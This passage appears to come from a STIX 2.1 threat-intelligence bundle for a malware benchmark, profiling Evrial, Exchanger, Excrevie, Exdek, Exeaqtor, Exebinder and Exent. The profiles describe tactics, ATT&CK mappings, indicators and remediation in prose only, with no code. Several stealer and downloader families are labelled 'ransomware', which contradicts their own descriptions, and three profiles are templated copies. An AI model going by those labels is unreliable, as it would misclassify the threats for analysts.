      "description": "TrojanSpy:Win32/Evrial is a specialized, highly aggressive Information Stealer that gained prominence for its intense focus on cryptocurrency theft. While it performs standard infostealer duties (grabbing browser cookies and passwords), Evrial is infamous for its 'Clipboard Hijacking' capability, actively monitoring the Windows clipboard and instantly swapping the victim's copied cryptocurrency wallet address with an address controlled by the attacker.<br><br><b>Understanding the Evrial Stealer</b><br>To the victim, the theft occurs in a split second. They copy a Bitcoin address to send a payment, paste it into their wallet application, and hit send, not realizing the address changed between the 'copy' and the 'paste'. For security analysts, Evrial represents a highly targeted, financially motivated threat. It doesn't need to deploy ransomware; it steals funds directly and irrevocably from the endpoint.<br><br><b>Execution and Clipboard Hijacking Mechanics</b><br>Evrial is typically distributed via cracked software, fake game cheats, or malicious forum links (`T1204.002`). Upon execution, it establishes persistence via Registry Run keys (`T1547.001`). It performs a rapid smash-and-grab of the system, targeting browser credential stores (`T1555.003`), FTP clients, and desktop cryptocurrency wallet files (like `wallet.dat`) (`T1005`). Crucially, it registers a listener on the Windows Clipboard API (`T1115`). It uses Regular Expressions (Regex) to constantly scan clipboard data for strings that match the format of Bitcoin, Ethereum, Monero, or Litecoin addresses. If a match is found, Evrial instantly replaces the clipboard contents with the attacker's corresponding wallet address. All stolen data is zipped and exfiltrated to a C2 server via HTTP POST requests (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the direct, unrecoverable theft of cryptocurrency and compromised online accounts. The most glaring IoC is the user reporting that their copied crypto address mysteriously changed when pasted. Network logs will show a sudden burst of outbound HTTP POST traffic (often containing a `.zip` file) immediately after the malware is executed. EDR logs will flag anomalous access to the `AppData\\Roaming\\Bitcoin` (or similar wallet directories) and the rapid querying of browser `Login Data` SQLite databases. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Evrial",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/evrial"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d98a684b-c362-5c89-82a7-021396f866ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c993e22c-57da-59e0-8527-339a0af81eae",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Evrial exhibits technique T1115 (Clipboard Data (Actively hijacking and modifying copied data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3a399bc-0d2b-5118-a2ad-d5d4cb4ef57f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c993e22c-57da-59e0-8527-339a0af81eae",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Evrial exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c845b559-ccaa-5099-a5e1-bbdf40437210",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c993e22c-57da-59e0-8527-339a0af81eae",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Evrial exhibits technique T1005 (Data from Local System (Stealing wallet.dat files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71494237-b5af-52a4-bca6-b6836783a572",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c993e22c-57da-59e0-8527-339a0af81eae",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Evrial exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ba7b453-73a2-50bb-b4e5-2c74391edf43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exchanger",
      "description": "<h3>Executive Summary</h3>\nExchanger is a broad classification often applied to malware, typically trojans or potentially unwanted applications (PUAs), that facilitates the unauthorized exchange, download, or transfer of secondary malicious payloads. It acts as an intermediary or \"downloader\" within a broader infection chain, establishing a foothold before pulling down more destructive threats.\n\n<h3>Behavioral Characteristics and Functionality</h3>\nThe \"Exchanger\" moniker is derived from its primary behavior: exchanging small bits of telemetry with a command-and-control (C2) server in return for instructions or larger malware executables.\n\nTypically distributed via drive-by downloads or malicious email attachments, an Exchanger variant operates with stealth:\n<ul>\n<li><strong>Reconnaissance:</strong> Upon execution, it performs a quick check of the local environment (OS version, installed antivirus) and \"exchanges\" this fingerprint with the C2 server.</li>\n<li><strong>Payload Delivery:</strong> Based on the fingerprint, the C2 server dictates which payload is appropriate for the victim. The Exchanger then downloads and executes this secondary payload (often ransomware, info-stealers, or crypto-miners).</li>\n<li><strong>Persistence:</strong> Exchangers usually establish basic persistence via registry run keys to ensure they can continue to download updated payloads or new malware variants over time.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nAn Exchanger detection is a critical indicator of compromise (IOC). While the Exchanger executable itself may not encrypt files or steal data, its presence guarantees that a secondary, highly destructive payload is either currently being downloaded or has already been executed on the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the infected endpoint from the network immediately to interrupt the \"exchange\" process and halt the download of secondary payloads.</li>\n<li><strong>Network Forensics:</strong> Analyze proxy logs and firewall traffic originating from the infected endpoint to identify the C2 domains or IP addresses the Exchanger communicated with. Block these IOCs enterprise-wide.</li>\n<li><strong>Deep System Scan:</strong> Perform a comprehensive, offline scan of the endpoint to locate and eradicate both the initial Exchanger executable and any secondary payloads it may have successfully deployed.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Exchanger",
        "Downloader.Exchanger",
        "Win32/Exchanger"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exchanger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exchanger"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30f23827-b8a0-5eaf-849d-46655485a026",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ba7b453-73a2-50bb-b4e5-2c74391edf43",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exchanger exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4451c22a-41f8-5990-b7f7-9d190dee1f0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ba7b453-73a2-50bb-b4e5-2c74391edf43",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exchanger exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e61bddc-4775-5ba6-a967-cba509bcc325",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ba7b453-73a2-50bb-b4e5-2c74391edf43",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exchanger exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ac59f54-18ab-54e3-ab79-16d195b400c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Excrevie",
      "description": "Trojan:Win32/Excrevie is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Excrevie</b><br>To an end-user, a Excrevie infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Excrevie is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Excrevie is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Excrevie frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Excrevie reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Excrevie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/excrevie"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0dba6b22-25ed-5c8d-8d99-d26191e74e3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ac59f54-18ab-54e3-ab79-16d195b400c3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Excrevie exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1476b472-0c99-5005-b2e2-2da679154fef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ac59f54-18ab-54e3-ab79-16d195b400c3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Excrevie exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28e39c50-6853-549b-a517-e84e697d0bce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ac59f54-18ab-54e3-ab79-16d195b400c3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Excrevie exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2f712bf-f617-5a56-ad67-ecfd05a134a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ac59f54-18ab-54e3-ab79-16d195b400c3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Excrevie exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3a288f1-fd53-52af-8916-7b88e0af12b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ac59f54-18ab-54e3-ab79-16d195b400c3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Excrevie exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c50f990a-ccf8-5f73-b511-984b32a028f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exdek",
      "description": "Trojan:Win32/Exdek is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Exdek</b><br>To an end-user, an Exdek infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Exdek is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Exdek is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Exdek frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Exdek reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exdek",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exdek"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2db0856-e0bc-5b36-8d52-5fe441ab94d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c50f990a-ccf8-5f73-b511-984b32a028f7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exdek exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7adc91a2-f989-5de5-b553-dd03a768a6a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c50f990a-ccf8-5f73-b511-984b32a028f7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exdek exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d06457e-25ae-5e84-8545-5b523a889f5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c50f990a-ccf8-5f73-b511-984b32a028f7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exdek exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--443ca0f7-d06f-55f8-8943-a49a600083d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c50f990a-ccf8-5f73-b511-984b32a028f7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exdek exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8f7d950-5905-5459-bef1-d4c849cad0a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c50f990a-ccf8-5f73-b511-984b32a028f7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exdek exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--18b57cfc-7ce5-5f7d-bf24-eecd449217f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exeaqtor",
      "description": "Trojan:Win32/Exeaqtor is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Exeaqtor</b><br>To an end-user, a Exeaqtor infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Exeaqtor is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Exeaqtor is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Exeaqtor frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Exeaqtor reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exeaqtor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exeaqtor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53f56853-7ab8-53cf-8200-c9cc17a0dc15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18b57cfc-7ce5-5f7d-bf24-eecd449217f7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exeaqtor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14b633cb-2052-591f-a4b2-13b855dd6cf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18b57cfc-7ce5-5f7d-bf24-eecd449217f7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exeaqtor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6961543e-0773-5524-ae87-a8f4e9a02542",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18b57cfc-7ce5-5f7d-bf24-eecd449217f7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exeaqtor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6630be7-f4f4-5e04-81dc-e75431ff6c83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18b57cfc-7ce5-5f7d-bf24-eecd449217f7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exeaqtor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2c88be7-5651-5a85-948e-29ec72965f04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18b57cfc-7ce5-5f7d-bf24-eecd449217f7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exeaqtor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--233f3490-e5a8-580f-9be8-e26c662015ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exebinder",
      "description": "<h3>Executive Summary</h3>\nExeBinder (often detected generically as HackTool:Win32/ExeBinder or Binder) refers to a classification of utility programs heavily utilized by threat actors to obfuscate malware. A \"binder\" or \"joiner\" takes two or more separate executable files (e.g., a legitimate installer for VLC Player and a malicious remote access trojan) and merges them into a single, functional executable. When the victim runs this merged file, the legitimate program runs normally to avoid suspicion, while the malware silently executes in the background.\n\n<h3>Technical Capabilities and Usage</h3>\nExeBinders are a foundational tool in the malware distribution ecosystem, specifically designed to facilitate social engineering attacks (e.g., tricking a user into downloading a \"free\" game that contains a hidden payload).\n\nModern ExeBinders offer advanced evasion features:\n<ul>\n<li><strong>Icon and Metadata Spoofing:</strong> The binder allows the attacker to clone the icon and digital metadata (Version Info, Description, Copyright) of the legitimate \"decoy\" application, making the resulting malicious file appear highly authentic to the untrained eye.</li>\n<li><strong>Silent Execution:</strong> The merged executable is programmed to drop the malicious payload into a temporary directory (like `%Temp%`) and execute it silently via the command line (e.g., using `-silent` or `/S` flags), preventing any visible installation windows from alerting the user.</li>\n<li><strong>Anti-Heuristic Packing:</strong> Many commercial or underground binders integrate simple cryptographic packing or obfuscation algorithms to change the file signature of the resulting merged executable, helping it bypass basic, signature-based antivirus scans.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile an ExeBinder itself is just a tool, its detection indicates a deliberate attempt to deceive the user and bypass security controls. The presence of a file flagged as a \"Binder\" almost universally guarantees that a hidden, secondary malicious payload (typically an info-stealer, RAT, or botnet client) has been deployed on the system.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Payload Extraction and Analysis:</strong> Security analysts must utilize sandbox environments or reverse-engineering tools (like PEiD or custom unpackers) to separate the bound file into its original components. This is crucial for identifying the true nature of the hidden malware payload.</li>\n<li><strong>Endpoint Sweeps (EDR):</strong> Utilize EDR to search for child processes spawned by seemingly legitimate applications, especially if those child processes attempt to establish external network connections or modify run keys.</li>\n<li><strong>Assume Compromise:</strong> Because the exact nature of the hidden payload is unknown until analyzed, incident responders should assume the endpoint is fully compromised and initiate a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/ExeBinder",
        "Trojan.Binder",
        "Win32/Joiner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exebinder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exebinder"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6990fbd4-b033-50b0-a79b-1cc0b250eb2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--233f3490-e5a8-580f-9be8-e26c662015ca",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exebinder exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--646d2039-4272-5409-a769-834c98e3585b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--233f3490-e5a8-580f-9be8-e26c662015ca",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exebinder exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--795e1330-9187-519b-aff2-70b6aa70b9e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--233f3490-e5a8-580f-9be8-e26c662015ca",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exebinder exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d888b82b-e3e4-58c8-b8d4-fc6fa51eb097",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exent",
      "description": "<h3>Executive Summary</h3>\nExent is a classification often associated with aggressive Potentially Unwanted Programs (PUPs) and Adware that masquerade as gaming platforms, game managers, or media players. While historically linked to specific legitimate software delivery platforms, the \"Exent\" detection in modern contexts frequently flags heavily bundled software installers that forcefully inject advertisements, alter browser settings, and harvest user data without clear consent.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nExent-related adware relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" PC games or media tools from unofficial, third-party aggregators. The adware is installed silently in the background, often utilizing deceptive \"Express\" installation screens designed to trick users into accepting the bundled payload.\n\nOnce installed, the software employs highly intrusive tactics:\n<ul>\n<li><strong>Ad Injection and Overlay:</strong> The primary function is aggressive monetization. It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance.</li>\n<li><strong>Browser Hijacking:</strong> The software frequently installs persistent extensions across Chrome, Firefox, and Edge. It modifies the default homepage, search engine, and new tab page to route all traffic through affiliate-monetized search engines.</li>\n<li><strong>System Resource Consumption:</strong> These background \"game managers\" often run constantly, consuming massive CPU and RAM resources for telemetry collection and continuous ad generation, severely impacting legitimate application 